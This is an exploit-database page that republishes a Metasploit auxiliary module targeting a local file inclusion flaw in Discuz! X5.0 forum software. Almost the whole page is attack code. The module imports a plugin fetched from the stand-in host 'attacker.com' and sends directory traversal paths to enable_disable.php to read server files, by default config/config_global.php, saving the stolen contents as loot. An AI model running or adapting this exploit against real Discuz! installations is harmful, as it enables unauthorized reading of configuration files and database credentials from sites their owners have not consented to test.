Share
## https://sploitus.com/exploit?id=PACKETSTORM:223698
==================================================================================================================================
| # Title : Discuz! X5.0 LFI Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.discuz.vip/ |
==================================================================================================================================
[+] Summary : This is a Metasploit auxiliary module targeting a Local File Inclusion vulnerability in Discuz! X5.0.
[+] POc :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Discuz! X5.0 Local File Inclusion via enable_disable.php',
'Description' => %q{
A Local File Inclusion (LFI) vulnerability exists in the Discuz! plugin management
functionality within /source/app/admin/child/plugins/enable_disable.php.
When enabling or disabling a plugin, the application includes a file whose path is
derived from plugin metadata stored in the database. Due to insufficient validation
of the plugin's directory attribute during the import process, an administrator can
import a specially crafted plugin configuration containing Directory Traversal sequences.
By additionally triggering an exception during plugin installation, the sanitization
routine can be bypassed, causing malicious paths to be stored unsanitized and
subsequently passed to the vulnerable include() call.
This module exploits the vulnerability to read arbitrary files from the target system
using an authenticated administrator session.
Tested successfully on Discuz! X5.0 releases 20260320 through 20260610.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-49954'],
['URL', 'https://karmainsecurity.com/pocs/discuz_rce.zip'],
['URL', 'https://gitee.com/Discuz/DiscuzX/issues/IJLFUW']
],
'DisclosureDate' => '2026-06-15',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path to Discuz! installation', '/']),
OptString.new('COOKIE_NAME', [true, 'Cookie name for authentication', 'PHPSESSID']),
OptString.new('COOKIE_VALUE', [true, 'Cookie value for authentication', '']),
OptString.new('CSRF_TOKEN', [true, 'CSRF token (formhash) from admin session', '']),
OptString.new('FILE_PATH', [true, 'Path of file to read', 'config/config_global.php']),
OptInt.new('TRAVERSAL_DEPTH', [false, 'Path traversal depth (default: 5)', 5])
]
)
end
def run
print_status("Starting Discuz! X5.0 Local File Inclusion Exploit")
print_status("CVE-2026-49954 - enable_disable.php LFI")
cookie = "#{datastore['COOKIE_NAME']}=#{datastore['COOKIE_VALUE']}"
print_status("Step 1: Importing malicious plugin configuration")
traversal = "../" * datastore['TRAVERSAL_DEPTH']
malicious_dir = "#{traversal}#{datastore['FILE_PATH']}"
import_url = normalize_uri(target_uri.path, 'admin.php')
post_data = {
'action' => 'plugins_import',
'formhash' => datastore['CSRF_TOKEN'],
'plugin_zip_url' => 'http://attacker.com/malicious_plugin.zip' # Hosted attacker-controlled ZIP
}
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => import_url,
'cookie' => cookie,
'vars_post' => post_data
})
if res.nil?
print_error("No response from server for plugin import")
return
end
if res.code == 200 && res.body.include?('success')
print_good("Plugin imported successfully")
else
print_warning("Plugin import may have failed, continuing anyway...")
end
rescue ::Rex::ConnectionError => e
print_error("Connection error: #{e.message}")
return
end
print_status("Step 2: Triggering vulnerable include via enable_disable.php")
enable_disable_url = normalize_uri(target_uri.path, 'source', 'app', 'admin', 'child', 'plugins', 'enable_disable.php')
trigger_data = {
'operation' => 'enable',
'dir' => malicious_dir,
'formhash' => datastore['CSRF_TOKEN']
}
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => enable_disable_url,
'cookie' => cookie,
'vars_post' => trigger_data
})
if res.nil?
print_error("No response from server for enable/disable trigger")
return
end
if res.body && res.body.length > 0
file_content = extract_file_content(res.body)
if file_content && !file_content.empty?
print_good("Successfully read file: #{datastore['FILE_PATH']}")
print_line("\n" + "=" * 60)
print_line(file_content)
print_line("=" * 60 + "\n")
loot_path = store_loot(
'discuz.file',
'application/octet-stream',
rhost,
file_content,
File.basename(datastore['FILE_PATH']),
"File read from Discuz!: #{datastore['FILE_PATH']}"
)
print_good("File saved to: #{loot_path}")
report_vuln(
host: rhost,
port: rport,
name: self.name,
refs: references
)
else
print_error("Failed to extract file content from response")
end
else
print_error("Empty response from enable_disable.php")
end
rescue ::Rex::ConnectionError => e
print_error("Connection error: #{e.message}")
return
end
end
def extract_file_content(response_body)
if response_body.include?('<?php')
content = response_body
content = content.gsub(/<[^>]*>/, '')
return content.strip
else
return response_body.strip if response_body.length > 100
end
nil
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================